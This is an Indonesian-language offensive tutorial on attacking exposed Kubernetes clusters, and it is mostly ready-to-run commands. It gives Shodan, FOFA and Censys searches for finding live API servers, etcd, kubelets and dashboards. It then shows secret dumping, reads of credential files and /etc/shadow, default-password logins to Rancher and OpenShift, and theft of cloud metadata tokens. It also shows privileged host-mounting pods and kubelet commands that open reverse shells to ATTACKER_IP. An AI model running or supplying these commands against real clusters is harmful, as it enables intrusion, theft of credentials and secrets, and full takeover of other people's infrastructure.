Kubernetes Exposed Services & Post-Exploitation

Eksploitasi Kubernetes yang terekspos — API server, etcd, kubelet, dashboard, container escape, dan lateral movement di cluster.
February 26, 2026 Reading: 26 min Authors:
  • Siti

Daftar Isi


Bab 1 — Menemukan Kubernetes yang Terekspos

1.1 Apa itu Kubernetes & Attack Surface

Kubernetes (K8s) adalah platform orkestrasi container. Arsitekturnya terdiri dari beberapa komponen yang masing-masing punya port dan API sendiri:

KomponenPort DefaultFungsiRisiko jika Terekspos
API Server6443Central control plane, semua operasi K8sFull cluster takeover
etcd2379, 2380Key-value store, menyimpan semua state clusterDump seluruh cluster data
Kubelet10250, 10255Agent di setiap node, menjalankan podExec ke pod, baca secrets
Dashboard443, 8443, 30000+Web UI untuk manajemen clusterDeploy container, baca secrets
Kube-proxy10256Network proxy di setiap nodeInfo disclosure
Helm Tiller44134(Legacy) Package manager serverDeploy arbitrary chart → RCE

Kubernetes terekspos = seluruh infrastruktur bisa dikuasai, karena K8s mengelola semua container, secrets, network, dan storage.

1.2 Mengapa Sering Terekspos

  • Cloud provider (EKS, GKE, AKS) API server default public
  • Developer membuat cluster test/dev tanpa RBAC yang benar
  • --anonymous-auth=true dibiarkan default
  • Distribusi ringan (MicroK8s, K3s, Minikube) diinstall untuk development tapi di-expose ke public
  • MicroK8s sebelum v1.26 default --anonymous-auth=true
  • K3s menyimpan kubeconfig dan node token di file yang world-readable
  • etcd diexpose tanpa TLS/auth untuk debugging
  • Kubelet readonly port (10255) tidak dimatikan
  • Dashboard di-expose via NodePort tanpa auth
  • Rancher/OpenShift console terekspos dengan default credentials
  • Firewall/Security Group tidak membatasi port K8s
  • Helm Tiller (v2) listen di semua interface tanpa auth

1.3 Dorking: Shodan / Censys / FOFA

 1# ========== Shodan ==========
 2
 3# API Server (6443)
 4shodan search 'port:6443 "kube-apiserver"'
 5shodan search 'port:6443 ssl:"kubernetes"'
 6shodan search 'port:6443 "apiVersion"'
 7shodan search 'port:6443 http.title:"Kubernetes" country:"ID"'
 8
 9# etcd (2379)
10shodan search 'port:2379 "etcd"'
11shodan search 'port:2379 product:"etcd"'
12shodan search 'port:2379 "etcdserver"'
13
14# Kubelet (10250/10255)
15shodan search 'port:10250 "kubelet"'
16shodan search 'port:10255 "kubelet"'
17shodan search 'port:10250 ssl.cert.subject.cn:"kubelet"'
18
19# Dashboard
20shodan search 'http.title:"Kubernetes Dashboard"'
21shodan search 'http.title:"Kubernetes Dashboard" port:8443'
22shodan search 'http.title:"Kubernetes Dashboard" country:"ID"'
23
24# Bulk
25shodan download k8s-api 'port:6443 "kube-apiserver"'
26shodan parse --fields ip_str,port k8s-api.json.gz
# ========== FOFA ==========

# API Server
port="6443" && body="apiVersion"
port="6443" && cert="kubernetes"

# etcd
port="2379" && protocol="etcd"
port="2379" && body="etcdserver"

# Dashboard
title="Kubernetes Dashboard"
title="Kubernetes Dashboard" && country="ID"

# Kubelet
port="10250" && cert="kubelet"
port="10255" && body="kubelet"
# ========== Censys ==========

services.port: 6443 AND services.tls.certificates.leaf.subject.common_name: "kube-apiserver"
services.port: 2379 AND services.software.product: "etcd"
services.http.response.html_title: "Kubernetes Dashboard"
services.port: 10250 AND services.tls.certificates.leaf.subject.common_name: "kubelet"
# ========== Google Dorking ==========

intitle:"Kubernetes Dashboard" inurl:dashboard
inurl:":6443/api/v1" "apiVersion"
inurl:":10250/pods"
inurl:":2379/version" "etcdserver"

# ========== Distro-Specific ==========

# MicroK8s (port 16443)
intitle:"Kubernetes Dashboard" inurl:":16443"
inurl:":16443/api/v1"
 1# ========== Shodan — Distro-Specific ==========
 2
 3# MicroK8s
 4shodan search 'port:16443 "kube-apiserver"'
 5shodan search 'port:16443 ssl:"kubernetes"'
 6
 7# K3s
 8shodan search 'port:6443 "k3s"'
 9shodan search 'http.html:"k3s" port:6443'
10
11# OpenShift
12shodan search 'http.title:"OpenShift"'
13shodan search '"openshift" port:6443'
14shodan search 'http.title:"Red Hat OpenShift"'
15
16# Rancher
17shodan search 'http.title:"Rancher"'
18shodan search 'http.body:"Rancher" port:443'
19shodan search 'http.title:"Rancher" country:"ID"'
20
21# Minikube
22shodan search 'port:8443 "minikube"'

1.4 Nuclei & Automated Discovery

 1# Nuclei templates untuk K8s
 2nuclei -l targets.txt -t http/exposures/configs/kubernetes-dashboard.yaml
 3nuclei -l targets.txt -t http/misconfiguration/kubernetes/
 4nuclei -l targets.txt -tags kubernetes,k8s
 5
 6# Kube-hunter — scanner khusus K8s
 7pip install kube-hunter
 8kube-hunter --remote <target-ip>
 9kube-hunter --cidr 10.0.0.0/24
10
11# kubeaudit — audit konfigurasi K8s
12kubeaudit all -f kubeconfig.yaml

1.5 Manual Discovery per Service

 1# === API Server (6443) ===
 2curl -sk https://TARGET:6443/api
 3curl -sk https://TARGET:6443/api/v1
 4curl -sk https://TARGET:6443/version
 5curl -sk https://TARGET:6443/healthz
 6curl -sk https://TARGET:6443/api/v1/namespaces
 7curl -sk https://TARGET:6443/api/v1/pods
 8curl -sk https://TARGET:6443/api/v1/secrets
 9
10# === etcd (2379) ===
11curl -sk https://TARGET:2379/version
12curl -sk https://TARGET:2379/v2/keys/?recursive=true
13# etcdctl
14ETCDCTL_API=3 etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify get / --prefix --keys-only
15
16# === Kubelet (10250 — authenticated) ===
17curl -sk https://TARGET:10250/pods
18curl -sk https://TARGET:10250/runningpods
19curl -sk https://TARGET:10250/metrics
20
21# === Kubelet readonly (10255 — unauthenticated, deprecated tapi masih ada) ===
22curl -s http://TARGET:10255/pods
23curl -s http://TARGET:10255/metrics
24
25# === Dashboard ===
26curl -sk https://TARGET:8443/
27curl -sk https://TARGET:30000/  # NodePort umum
28curl -sk https://TARGET/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

1.6 Distribusi K8s — Attack Surface per Distro

Kubernetes bukan satu produk — ada banyak distribusi dengan default config, port, dan kelemahan yang berbeda. Mengenali distro target sangat penting karena menentukan jalur eksploitasi.

Tabel Distribusi & Attack Surface

DistroTarget UmumAPI PortKeunikanRisiko Utama
MicroK8sDev/edge/IoT, single-node16443Snap-based, microk8s kubectl--anonymous-auth=true default, etcd tanpa TLS
K3sEdge/IoT, lightweight6443SQLite/etcd embedded, binary tunggalToken di /var/lib/rancher/k3s/server/token, kubeconfig world-readable
MinikubeLocal development8443VM/container driver, addons systemDashboard auto-enabled tanpa auth, API binding 0.0.0.0
KindCI/CD testingRandomDocker-in-DockerKubeconfig di ~/.kube/config, container escape → host
OpenShiftEnterprise production6443, 8443OAuth built-in, SCC (Security Context Constraints)Console (443), OAuth token leak, overly permissive SCC
RancherMulti-cluster management443Web UI + API, manages downstream clustersDefault admin password, satu Rancher compromised = semua cluster
EKS (AWS)Cloud production443IAM authentication, managed control planePublic API endpoint default, IRSA misconfiguration
GKE (GCP)Cloud production443Google IAM, managed control planeLegacy ABAC, metadata API dari pod
AKS (Azure)Cloud production443Azure AD integration, managedPublic API default, managed identity abuse
K0sMinimal/embedded6443Zero dependencies, single binaryJoin token exposure, default permissive config
RKE/RKE2Rancher-managed6443, 9345Docker-based (RKE1), containerd (RKE2)Docker socket exposure (RKE1), join token

MicroK8s — Detail

MicroK8s populer untuk development dan edge deployment. Diinstall via snap:

 1# ========== Deteksi MicroK8s ==========
 2# Port non-standar: 16443 (bukan 6443)
 3curl -sk https://TARGET:16443/api
 4curl -sk https://TARGET:16443/version
 5
 6# Shodan
 7shodan search 'port:16443 "kube-apiserver"'
 8shodan search 'port:16443 ssl:"kubernetes"'
 9
10# FOFA
11port="16443" && cert="kubernetes"
12
13# ========== Kelemahan Default ==========
14
15# 1. Anonymous auth ENABLED by default (sebelum microk8s v1.26)
16curl -sk https://TARGET:16443/api/v1/pods
17curl -sk https://TARGET:16443/api/v1/secrets
18# Jika return data → anonymous access aktif
19
20# 2. etcd tanpa TLS dan tanpa auth (listen di localhost:2379)
21# Jika sudah di host atau ada SSRF:
22curl http://127.0.0.1:2379/version
23ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 get / --prefix --keys-only
24
25# 3. Dashboard addon — sering di-enable tanpa auth
26# microk8s enable dashboard
27# Default NodePort atau proxy
28curl -sk https://TARGET:10443/
29curl -sk https://TARGET/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/
30
31# 4. Kubeconfig location
32# /var/snap/microk8s/current/credentials/client.config
33# Jika bisa baca file ini → full cluster admin
34
35# 5. Certs & tokens
36# /var/snap/microk8s/current/credentials/
37# /var/snap/microk8s/current/args/
38# File-file berisi token dan cert untuk semua komponen
39
40# ========== Eksploitasi ==========
41
42# Jika anonymous auth aktif → langsung enum + create pod (lihat Bab 2)
43
44# Jika punya LFI/file read di host:
45# Baca kubeconfig
46cat /var/snap/microk8s/current/credentials/client.config
47# Set kubeconfig dan gunakan kubectl
48export KUBECONFIG=/tmp/microk8s.config
49kubectl get all --all-namespaces
50
51# Baca CA cert + admin token
52cat /var/snap/microk8s/current/certs/ca.crt
53cat /var/snap/microk8s/current/credentials/known_tokens.csv
54# Format: token,user,uid,group
55# Ambil token admin → gunakan sebagai Bearer token

K3s — Detail

K3s adalah distribusi lightweight dari Rancher Labs. Sering digunakan di edge, IoT, dan ARM devices:

 1# ========== Deteksi K3s ==========
 2curl -sk https://TARGET:6443/version
 3# "gitVersion": "v1.28.x+k3s1" ← identifier K3s
 4
 5# Shodan
 6shodan search 'port:6443 "k3s"'
 7
 8# ========== Kelemahan Default ==========
 9
10# 1. Node token — file readable, dipakai untuk join cluster
11# /var/lib/rancher/k3s/server/token
12# atau /var/lib/rancher/k3s/server/node-token
13# Siapa saja yang punya token ini bisa join sebagai node/server
14
15# 2. Kubeconfig world-readable di beberapa instalasi
16# /etc/rancher/k3s/k3s.yaml
17# Berisi certificate + admin credentials
18# Default bind ke 0.0.0.0:6443
19
20# 3. SQLite database (default, bukan etcd)
21# /var/lib/rancher/k3s/server/db/state.db
22# Berisi semua cluster state termasuk secrets
23# sqlite3 state.db "SELECT * FROM kine WHERE name LIKE '%secret%';"
24
25# 4. Traefik sebagai ingress default
26# Mungkin expose internal services
27
28# ========== Eksploitasi ==========
29
30# Jika punya file read:
31# 1. Ambil kubeconfig
32cat /etc/rancher/k3s/k3s.yaml
33# Ganti server address dari 127.0.0.1 ke TARGET IP
34
35# 2. Ambil node token
36cat /var/lib/rancher/k3s/server/token
37# Gunakan untuk join rogue node ke cluster:
38# curl -sfL https://get.k3s.io | K3S_URL=https://TARGET:6443 K3S_TOKEN=<token> sh -
39
40# 3. Dump SQLite
41sqlite3 /var/lib/rancher/k3s/server/db/state.db \
42  "SELECT name, hex(value) FROM kine WHERE name LIKE '%/secrets/%';"

Minikube — Detail

Minikube untuk local development, tapi kadang terekspos di VM/server shared:

 1# ========== Deteksi Minikube ==========
 2curl -sk https://TARGET:8443/version
 3# Port default 8443
 4
 5# Shodan
 6shodan search 'port:8443 "minikube"'
 7
 8# ========== Kelemahan ==========
 9
10# 1. Dashboard addon auto-exposed tanpa auth
11# minikube dashboard → proxy ke localhost, tapi jika di-bind 0.0.0.0:
12curl -sk http://TARGET:30000/  # atau port NodePort lain
13curl -sk http://TARGET:8001/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
14
15# 2. API server binding — kadang bind 0.0.0.0
16# minikube start --apiserver-ips=0.0.0.0
17curl -sk https://TARGET:8443/api/v1/pods
18
19# 3. Kubeconfig
20# ~/.minikube/config/config.json
21# ~/.kube/config
22# Berisi cert + key untuk cluster admin
23
24# 4. Docker driver — minikube container punya akses ke Docker socket
25# Jika masuk ke minikube container → escape ke host via docker.sock

OpenShift — Detail

OpenShift (Red Hat) adalah enterprise K8s dengan layer tambahan:

 1# ========== Deteksi OpenShift ==========
 2curl -sk https://TARGET:6443/.well-known/oauth-authorization-server
 3# Response JSON = OpenShift
 4
 5curl -sk https://TARGET:443/console/
 6# OpenShift Web Console
 7
 8# Shodan
 9shodan search 'http.title:"OpenShift"'
10shodan search '"openshift" port:6443'
11
12# ========== Kelemahan ==========
13
14# 1. Console terekspos (443)
15# Default login page — coba default credentials
16# kubeadmin : <generated-password>
17# Password ada di: /root/openshift-install/auth/kubeadmin-password
18
19# 2. OAuth token endpoint
20curl -sk -u "developer:developer" \
21  -H "X-CSRF-Token: 1" \
22  "https://TARGET:443/oauth/authorize?response_type=token&client_id=openshift-challenging-client" \
23  -D - 2>/dev/null | grep -i location
24# Kadang "developer:developer" account ada di dev cluster
25
26# 3. SCC (Security Context Constraints) yang terlalu permissive
27# oc get scc
28# Jika "anyuid" atau "privileged" di-assign ke service account →
29# pod bisa jalan sebagai root / privileged
30
31# 4. Routes terekspos (OpenShift Routes = K8s Ingress)
32# oc get routes --all-namespaces
33# Menunjukkan semua exposed services
34
35# 5. Internal registry
36# Default: image-registry.openshift-image-registry.svc:5000
37# Kadang terekspos: https://TARGET:5000/v2/_catalog

Rancher — Detail

Rancher mengelola banyak cluster dari satu UI. Satu Rancher compromised = semua downstream cluster:

 1# ========== Deteksi Rancher ==========
 2curl -sk https://TARGET/v3
 3curl -sk https://TARGET/dashboard/
 4# Rancher Dashboard
 5
 6# Shodan
 7shodan search 'http.title:"Rancher"'
 8shodan search 'http.body:"Rancher" port:443'
 9
10# ========== Kelemahan ==========
11
12# 1. Default admin password
13# Rancher v2.6+ — first login meminta set password
14# Tapi banyak yang set ke default: admin / password / rancher
15curl -sk -X POST https://TARGET/v3-public/localProviders/local?action=login \
16  -H "Content-Type: application/json" \
17  -d '{"username":"admin","password":"admin"}'
18
19# 2. Bootstrap password (Rancher v2.6+)
20# Kadang terekspos di log atau environment
21# CATTLE_BOOTSTRAP_PASSWORD=xxxxx
22
23# 3. API token — setelah login
24curl -sk -H "Authorization: Bearer token-xxxxx:yyyyyy" \
25  https://TARGET/v3/clusters
26# List semua managed clusters
27
28# 4. Downstream cluster access
29# Dari Rancher, bisa generate kubeconfig untuk cluster manapun
30curl -sk -H "Authorization: Bearer $TOKEN" \
31  -X POST https://TARGET/v3/clusters/CLUSTER_ID?action=generateKubeconfig
32# → kubeconfig untuk cluster downstream → full admin
33
34# 5. CVE-2022-21947 / CVE-2021-36782 — credential exposure via API
35# Versi lama Rancher expose plaintext credentials di API response

Cloud Managed K8s (EKS, GKE, AKS)

 1# ========== EKS (AWS) ==========
 2# API endpoint biasanya public by default
 3# https://CLUSTER_ID.REGION.eks.amazonaws.com
 4
 5# Cek anonymous
 6curl -sk https://EKS_ENDPOINT/api
 7
 8# Jika punya AWS credentials:
 9aws eks get-token --cluster-name CLUSTER_NAME
10aws eks update-kubeconfig --name CLUSTER_NAME
11kubectl get all --all-namespaces
12
13# IRSA misconfiguration — pod assume IAM role yang terlalu powerful
14# Dari dalam pod:
15curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
16
17# ========== GKE (Google) ==========
18# Endpoint: https://CLUSTER_IP
19
20# Legacy ABAC (attribute-based) bisa bypass RBAC
21# Dari dalam pod:
22curl -s -H "Metadata-Flavor: Google" \
23  "http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env"
24# Kadang berisi kubelet credentials
25
26# ========== AKS (Azure) ==========
27# Endpoint: https://CLUSTER_FQDN
28
29# Managed identity dari pod:
30curl -s -H "Metadata: true" \
31  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
32
33# Azure AD RBAC misconfiguration
34# Kadang semua Azure AD user punya cluster-admin

Fingerprinting Distro

Jika tidak yakin distro apa yang digunakan target:

 1# 1. Cek /version endpoint
 2curl -sk https://TARGET:6443/version | jq '.gitVersion'
 3# "v1.28.2"          → vanilla K8s / kubeadm
 4# "v1.28.2+k3s1"     → K3s
 5# "v1.28.2-gke.1"    → GKE
 6# "v1.28.2-eks-xxx"  → EKS
 7
 8# 2. Cek port
 9# 16443 → MicroK8s
10# 8443  → Minikube / OpenShift
11# 6443  → K8s standard / K3s / RKE / EKS / AKS
12# 443   → Rancher / OpenShift console
13
14# 3. Cek response headers
15curl -sk -I https://TARGET:6443/version
16# X-Openshift-* → OpenShift
17
18# 4. Cek node labels (jika punya akses)
19kubectl get nodes --show-labels
20# node.kubernetes.io/microk8s-*    → MicroK8s
21# k3s.io/*                         → K3s
22# eks.amazonaws.com/*              → EKS
23# cloud.google.com/gke-*           → GKE
24
25# 5. Cek namespaces
26kubectl get namespaces
27# openshift-* → OpenShift
28# cattle-system, fleet-system → Rancher
29# kube-system + snap.microk8s.* → MicroK8s

Bab 2 — Eksploitasi Kubernetes API Server

2.1 Anonymous Auth Check

Kubernetes API server bisa mengizinkan request tanpa autentikasi jika --anonymous-auth=true (default di banyak distro).

 1# Cek apakah anonymous access diizinkan
 2curl -sk https://TARGET:6443/api
 3# Jika return JSON dengan "versions" → API accessible
 4
 5curl -sk https://TARGET:6443/api/v1
 6# Jika return JSON dengan resource list → anonymous auth enabled
 7
 8# Cek permission anonymous user
 9curl -sk https://TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
10  -X POST \
11  -H "Content-Type: application/json" \
12  -d '{
13    "apiVersion": "authorization.k8s.io/v1",
14    "kind": "SelfSubjectAccessReview",
15    "spec": {
16      "resourceAttributes": {
17        "verb": "list",
18        "resource": "secrets",
19        "namespace": "default"
20      }
21    }
22  }'

Response yang menunjukkan akses:

1{
2  "kind": "APIResourceList",
3  "groupVersion": "v1",
4  "resources": [
5    {"name": "pods", "namespaced": true, "kind": "Pod", "verbs": ["create","delete","get","list","patch","update","watch"]},
6    {"name": "secrets", "namespaced": true, "kind": "Secret", "verbs": ["create","delete","get","list","patch","update","watch"]}
7  ]
8}

Jika mendapat 403 Forbidden → anonymous auth disabled, tapi masih bisa coba token-based attack.

2.2 Enumerasi tanpa Auth

Jika anonymous access berfungsi:

 1# List semua namespaces
 2curl -sk https://TARGET:6443/api/v1/namespaces | jq '.items[].metadata.name'
 3
 4# List pods di semua namespace
 5curl -sk https://TARGET:6443/api/v1/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, image: .spec.containers[0].image}'
 6
 7# List services
 8curl -sk https://TARGET:6443/api/v1/services | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .spec.type}'
 9
10# List deployments
11curl -sk https://TARGET:6443/apis/apps/v1/deployments | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
12
13# List nodes
14curl -sk https://TARGET:6443/api/v1/nodes | jq '.items[] | {name: .metadata.name, ip: .status.addresses}'
15
16# List secrets (jackpot)
17curl -sk https://TARGET:6443/api/v1/secrets | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
18
19# Baca secret tertentu (base64 encoded)
20curl -sk https://TARGET:6443/api/v1/namespaces/default/secrets/SECRET_NAME | jq '.data | map_values(@base64d)'
21
22# List configmaps
23curl -sk https://TARGET:6443/api/v1/configmaps | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
24
25# List service accounts
26curl -sk https://TARGET:6443/api/v1/serviceaccounts | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'

Dengan kubectl (jika bisa install/upload):

 1# Set target
 2kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get namespaces
 3kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get pods --all-namespaces
 4kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get secrets --all-namespaces
 5kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get nodes
 6
 7# Atau buat kubeconfig
 8cat > /tmp/kubeconfig << 'EOF'
 9apiVersion: v1
10kind: Config
11clusters:
12- cluster:
13    server: https://TARGET:6443
14    insecure-skip-tls-verify: true
15  name: target
16contexts:
17- context:
18    cluster: target
19  name: target
20current-context: target
21EOF
22
23export KUBECONFIG=/tmp/kubeconfig
24kubectl get all --all-namespaces

2.3 Service Account Token Abuse

Setiap pod di K8s mendapat service account token yang auto-mounted. Jika kamu sudah di dalam pod (via RCE, webshell, dll):

 1# Lokasi token
 2TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
 3CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
 4NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
 5
 6# API server address (selalu tersedia dari dalam cluster)
 7APISERVER=https://kubernetes.default.svc
 8
 9# Cek identitas
10curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/pods
11
12# Cek semua permission
13curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
14  -X POST -H "Content-Type: application/json" \
15  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}" | jq '.status.resourceRules'
16
17# List secrets (jika diizinkan)
18curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/secrets | jq '.items[].metadata.name'
19
20# Dengan kubectl
21kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify auth can-i --list

Service account yang sering punya privilege tinggi:

Service AccountNamespaceAlasan
defaultkube-systemSering dikonfigurasi cluster-admin
tillerkube-systemHelm v2 — biasanya cluster-admin
jenkinsjenkins/cicdCI/CD butuh deploy → broad permission
argo-*argocdGitOps controller
cert-managercert-managerManage certificates

2.4 RBAC Misconfiguration

RBAC (Role-Based Access Control) yang salah konfigurasi bisa memberi privilege berlebihan:

Kasus 1: ClusterRoleBinding ke system:anonymous

1# Cek apakah anonymous punya cluster-admin
2curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
3  jq '.items[] | select(.subjects[]?.name == "system:anonymous") | {name: .metadata.name, role: .roleRef.name}'

Kasus 2: ClusterRoleBinding ke system:unauthenticated

1curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
2  jq '.items[] | select(.subjects[]?.name == "system:unauthenticated") | {name: .metadata.name, role: .roleRef.name}'

Kasus 3: Service account default dengan privilege

1# Cek rolebinding untuk service account default
2curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
3  jq '.items[] | select(.subjects[]?.name == "default") | {name: .metadata.name, role: .roleRef.name}'

Kasus 4: Wildcard permission

1# ClusterRole yang terlalu permissive
2apiVersion: rbac.authorization.k8s.io/v1
3kind: ClusterRole
4rules:
5- apiGroups: ["*"]
6  resources: ["*"]
7  verbs: ["*"]
8# → ini = cluster-admin, siapapun yang di-bind ke role ini punya full access

2.5 Secrets Extraction

Kubernetes Secrets disimpan base64-encoded (bukan encrypted by default). Jika bisa list/get secrets:

 1# List semua secrets di semua namespace
 2kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
 3
 4# Dump semua secrets (decoded)
 5kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
 6
 7# Via curl
 8curl -sk https://TARGET:6443/api/v1/secrets | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
 9
10# Filter by type
11# Docker registry credentials
12kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/dockerconfigjson") | {name: .metadata.name, data: .data[".dockerconfigjson"] | @base64d}'
13
14# TLS certificates & private keys
15kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/tls") | {name: .metadata.name, cert: .data["tls.crt"] | @base64d, key: .data["tls.key"] | @base64d}'
16
17# Service account tokens
18kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/service-account-token") | {name: .metadata.name, token: .data["token"] | @base64d}'
19
20# Opaque secrets (password, API key, dll)
21kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "Opaque") | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

Tipe secret yang sering berisi credentials:

TypeIsi
OpaquePassword, API key, connection string
kubernetes.io/dockerconfigjsonDocker registry auth
kubernetes.io/tlsTLS cert + private key
kubernetes.io/service-account-tokenSA token untuk API access
kubernetes.io/basic-authUsername + password
kubernetes.io/ssh-authSSH private key

2.6 Pod Creation → RCE

Jika kamu punya permission untuk create pod, kamu bisa langsung RCE di cluster:

Method 1: Privileged Pod dengan reverse shell

 1cat << 'EOF' | kubectl apply -f -
 2apiVersion: v1
 3kind: Pod
 4metadata:
 5  name: pwned
 6  namespace: default
 7spec:
 8  containers:
 9  - name: pwned
10    image: alpine
11    command: ["/bin/sh", "-c"]
12    args: ["apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
13    securityContext:
14      privileged: true
15    volumeMounts:
16    - mountPath: /host
17      name: host-root
18  volumes:
19  - name: host-root
20    hostPath:
21      path: /
22      type: Directory
23  hostNetwork: true
24  hostPID: true
25EOF

Method 2: Via curl (tanpa kubectl)

 1curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
 2  -X POST -H "Content-Type: application/json" \
 3  -d '{
 4    "apiVersion": "v1",
 5    "kind": "Pod",
 6    "metadata": {"name": "pwned"},
 7    "spec": {
 8      "containers": [{
 9        "name": "pwned",
10        "image": "alpine",
11        "command": ["/bin/sh", "-c", "apk add bash curl; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
12        "securityContext": {"privileged": true},
13        "volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
14      }],
15      "volumes": [{"name": "host-root", "hostPath": {"path": "/", "type": "Directory"}}],
16      "hostNetwork": true,
17      "hostPID": true
18    }
19  }'

Setelah pod running dan reverse shell didapat:

1# Kamu sekarang di dalam privileged container
2# Mount host filesystem
3ls /host/
4chroot /host bash
5# Sekarang kamu = root di node host

Method 3: Exec ke pod yang sudah ada

 1# List running pods
 2kubectl get pods --all-namespaces
 3
 4# Exec ke pod
 5kubectl exec -it POD_NAME -n NAMESPACE -- /bin/bash
 6# atau
 7kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
 8
 9# Via curl
10curl -sk -X POST "https://TARGET:6443/api/v1/namespaces/NAMESPACE/pods/POD_NAME/exec?command=/bin/sh&stdin=true&stdout=true&stderr=true&tty=true" \
11  -H "Upgrade: websocket" \
12  -H "Connection: Upgrade"

Bab 3 — Eksploitasi etcd, Kubelet, Dashboard

3.1 etcd Tanpa Auth

etcd menyimpan seluruh state Kubernetes cluster — semua secrets, config, token, dan data lainnya. Jika terekspos tanpa autentikasi:

 1# Cek version
 2curl -sk https://TARGET:2379/version
 3# {"etcdserver":"3.5.x","etcdcluster":"3.5.0"}
 4
 5# etcdctl v3 — dump semua keys
 6export ETCDCTL_API=3
 7etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
 8  get / --prefix --keys-only
 9
10# Dump SEMUA data (key + value)
11etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
12  get / --prefix
13
14# Cari secrets langsung
15etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
16  get /registry/secrets --prefix --keys-only
17
18# Baca secret tertentu
19etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
20  get /registry/secrets/default/my-secret
21
22# Cari service account tokens
23etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
24  get /registry/secrets/kube-system --prefix | strings | grep "eyJ"
25# eyJ... = JWT token
26
27# Dump semua data ke file
28etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
29  get / --prefix -w json > etcd_dump.json

etcd v2 API (cluster lama):

1# List semua keys
2curl -sk https://TARGET:2379/v2/keys/?recursive=true
3
4# Baca key tertentu
5curl -sk https://TARGET:2379/v2/keys/registry/secrets/default/my-secret

Parse data dari etcd dump:

 1# Extract semua secret values
 2cat etcd_dump.json | python3 -c "
 3import json, base64, sys
 4data = json.load(sys.stdin)
 5for kv in data.get('kvs', []):
 6    key = base64.b64decode(kv['key']).decode('utf-8', errors='ignore')
 7    if '/secrets/' in key:
 8        val = base64.b64decode(kv['value']).decode('utf-8', errors='ignore')
 9        print(f'=== {key} ===')
10        print(val[:500])
11        print()
12"

3.2 Kubelet API (10250)

Kubelet berjalan di setiap node dan memiliki API untuk mengelola pod di node tersebut.

Port 10255 (readonly, deprecated):

1# List pods di node ini
2curl -s http://TARGET:10255/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
3
4# Metrics
5curl -s http://TARGET:10255/metrics

Port 10250 (full access):

 1# List pods (perlu auth biasanya, tapi kadang anonymous)
 2curl -sk https://TARGET:10250/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
 3
 4# List running pods
 5curl -sk https://TARGET:10250/runningpods
 6
 7# Execute command di pod (RCE langsung!)
 8# Format: /run/<namespace>/<pod>/<container>
 9curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
10  -X POST -d "cmd=id"
11
12curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
13  -X POST -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
14
15curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
16  -X POST -d "cmd=cat /etc/shadow"
17
18# Reverse shell via kubelet
19curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
20  -X POST -d "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
21
22# Exec (websocket) — kubeletctl lebih mudah
23kubeletctl -s TARGET exec "id" -p POD_NAME -c CONTAINER_NAME
